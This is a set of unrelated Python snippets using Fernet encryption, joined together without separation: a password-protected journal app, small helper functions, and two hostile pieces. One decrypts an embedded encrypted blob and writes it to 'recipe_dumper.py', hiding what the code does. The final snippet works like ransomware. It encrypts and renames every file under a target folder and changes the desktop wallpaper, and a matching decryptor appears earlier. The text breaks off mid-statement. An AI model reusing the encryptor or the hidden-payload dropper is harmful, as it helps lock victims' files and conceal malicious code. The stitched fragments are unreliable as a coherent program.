def create_journal(self): try: journal_name = self.name_box.get() password = self.password_box.get() salt = os.urandom(16) kdf = PBKDF2HMAC( algorithm=hashes.SHA256, length=32, salt=salt, iterations=100000, backend=default_backend() ) key = base64.urlsafe_b64encode(kdf.derive(password.encode('utf-8'))) session_fernet = fernet(key) os.makedirs(journal_name) journal_index = open(journal_name + ".pjindex", "w+") journal_index.write(str(salt) + "\n") preamble = [journal_name, getpass.getuser(), time.strftime("%x"), time.strftime("%X")] encrypt_and_writelines(journal_index, preamble, session_fernet) self.file_dialog.destroy() journal_index.close() self.master.session_journal_location = journal_name + ".pjindex" self.master.session_fernet = session_fernet self.master.open_journal_master() except OSError: self.prompt["text"] = "You cannot use this name, as either a Journal with that name already exists, or it is invalid."
def example(): key = fernet.generate_key() f = fernet(key) token = f.encrypt(str.encode('secret')) print('token: ' + bytes(token).hex()) decrypted = f.decrypt(token) print('Decrypted: ' + decrypted.decode('utf-8'))
def open_now(self): journal_location = self.name_box.get() journal_password = self.password_box.get() self.master.session_journal_location = journal_location journal_index = open(journal_location, "r+") journal_salt = journal_index.readline()[2:-4].encode('utf-8') kdf = PBKDF2HMAC( algorithm=hashes.SHA256, length=32, salt=journal_salt, iterations=100000, backend=default_backend() ) key = base64.urlsafe_b64encode(kdf.derive(journal_password.encode('utf-8'))) journal_fernet = fernet(key) self.master.session_fernet = journal_fernet self.master.open_journal_master()
from cryptography.fernet import Fernet as fernet hide = b'gAAAAABevaRe0ld6qJzoYX5PxaSQvXmNH-DKRdQlc1vRr4D0IuDvADIHSV5ORh53V-kwYCuhG_DWPA4VHZltyuNwccWycKOa5hjvNoI_Huin1jTk4EpVX1HEwJ2ZcxL8dHvkk3RzdDpRqW7-0u1X__XeEwIcE5Hsm5s5MBn5U_q_5H7iZ6mKg3WK-2d6zUw48vjLXymOlSWMbxiBB0O8sSygGgjITganzfphJM1uPOaGXahs-kya6o2eJXfD-Hc8LGwV93fhtXsy8VTgAxXDD3qJ1aLWZS-JhOB_vuUY_eXTXd7vfgjusn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wbLIg3dTMx4XeKU45zz90OXWBiReCNOOlC9slYZofQixJF4UzLjbZ-QS_huy8mZZWzlZBIUCTk8f93BI2nTus0eeNSu-tCn3jYwGnth7uMRWje_KLSSuWvPsRgTWOj-RqOkEniYkdvap447orTudmwnjvSk2oBvnGl24eo_GcpZqA35m0065oe5bXlyYOk3_iZbQdUSZLSfVXHaVQo8Fx1LWseWHtFRsGlZXUjUn8ul8D5QJZbrpeeGIRUc9WR7SVcLPuvJJ2TGTy1QyQlG2xpDl8psHAGOct5k4=' f = fernet(key) detoken = f.decrypt(hide) detoken = detoken.decode("utf-8") f = open("recipe_dumper.py", "w+") f.close() f = open("recipe_dumper.py", "a", encoding="utf-8") f.write(detoken) f.close()
from cryptography.fernet import Fernet as fernet import os with open("/root/script/key.txt", "r") as f: key = f.read() algo = fernet(key.encode()) for dirpath, dirnames, files in os.walk('/root/script/Private', topdown=False): print(f'Found directory: {dirpath}') for file_name in files: with open(dirpath + "/" + file_name, "rb") as f: data = f.read() dataDecrypt = algo.decrypt(data) dataDecrypt = dataDecrypt.decode('UTF-8') with open(dirpath + "/" + file_name, "w") as n: n.truncate(0) n.write(str(dataDecrypt)) print('Fichier dechiffre:' + dirpath + "/" + file_name) print('Dechiffrement des fichiers termines')
def decrypt(bytedata, key): return fernet(key).decrypt(bytedata)
def encrypt(bytedata, key=None): if not (key): key = fernet.generate_key() suite = fernet(key) return suite.encrypt(bytedata), key
def key(self, newkey): self._suite = fernet(newkey) self._key = newkey
def __init__(self, key=None): self._key = key if key else fernet.generate_key() self._suite = fernet(self._key)
from cryptography.fernet import Fernet as fernet import os import json key = fernet.generate_key() algo = fernet(key) listeKey = {"keyFile": key.decode()} jsonKey = json.dumps(str(listeKey)).encode('utf-8') with open("/root/script/key.txt", "wb") as f: f.write(jsonKey) for dirpath, dirnames, files in os.walk('/root/script/Private', topdown=False): print(f'Found directory: {dirpath}') for file_name in files: with open(dirpath + "/" + file_name, "rb+") as f: data = f.read() f.truncate(0) f.write(algo.encrypt(data)) print('Fichier chiffre:' + dirpath + "/" + file_name) keyFilename = fernet.generate_key() algoFilename = fernet(keyFilename) encodeFileName = algoFilename.encrypt(file_name.encode()) os.rename(dirpath + "/" + file_name, dirpath + "/" + encodeFileName.decode() + "") os.system( "/usr/bin/gsettings set org.gnome.desktop.background picture-uri /root/script/wp.png"